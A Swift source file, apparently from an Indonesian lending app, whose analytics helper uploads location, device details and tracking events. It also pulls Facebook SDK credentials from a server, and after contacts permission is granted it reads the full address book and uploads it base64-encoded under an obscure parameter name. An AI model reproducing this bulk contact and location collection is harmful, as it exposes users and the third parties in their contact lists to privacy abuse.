//
//  NDEventAnallyticsTool.swift
//  NyamanDana
//
//  Created by 李永彬 on 2025/11/3.
//

import SwiftUI
import FBSDKCoreKit

struct NDEventAnallyticsTool {
    
    static func uploadLocationEvent(locationInfo: NDLocationInfo) {
        NDRequestManager.uploadLocationEvent(locationInfo: locationInfo, nil)
    }
    
    
    static func uploadTheDeviceDetailInformationEvent() {
        NDRequestManager.uploadTheDeviceDetailInformation(nil)
    }
    
    static func uploadMarketEvent() {
        NDRequestManager.uploadMarketData { marketData, msg, error in
            if error == nil {
                if let iteraceous = marketData?.iteraceous {
                    Settings.shared.appID = iteraceous.pecunaneity ?? ""
                    Settings.shared.clientToken = iteraceous.paedoior ?? ""
                    Settings.shared.displayName = iteraceous.reduce ?? ""
                    Settings.shared.appURLSchemeSuffix = iteraceous.tentless ?? ""
                    ApplicationDelegate.shared.application(UIApplication.shared, didFinishLaunchingWithOptions: nil)
                }
            }
        }
    }
    
    static func uploadMaiDianEvent(maiDianType: MaiDianType,
                                   productId: Int?,
                                   orderNum: String?,
                                   startTimeStamp: Int,
                                   endTimeStamp: Int) {
        guard WJAppEnvironment.shared.currentCountry == .indonesia else { return }
        NDLocationManager.shared.requestLocationPermission()
        DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
            NDRequestManager.uploadMaiDian(maiDianType: maiDianType,
                                           productId: productId,
                                           orderNum: orderNum,
                                           startTimeStamp: startTimeStamp,
                                           endTimeStamp: endTimeStamp, nil)
        }
    }

    static func uploadContactsEvent(_ completion: (() -> Void)?) {
        NDContactTool.shared.requestAccess { granted in
            if granted {
                NDContactTool.shared.fetchAllContacts { result in
                    switch result {
                    case .success(let contacts):
                        
                        let contactsDic = contacts.map { NDContactTool.shared.formattedContactInfo($0) }
                        let base64 = contactsDic.toBase64String() ?? ""
                        NDRequestManager.uploadContactsInformation(aurth: base64, nil)
                        completion?()
                    case .failure(_):
                        break
                    }
                }
            }
        }
    }
}
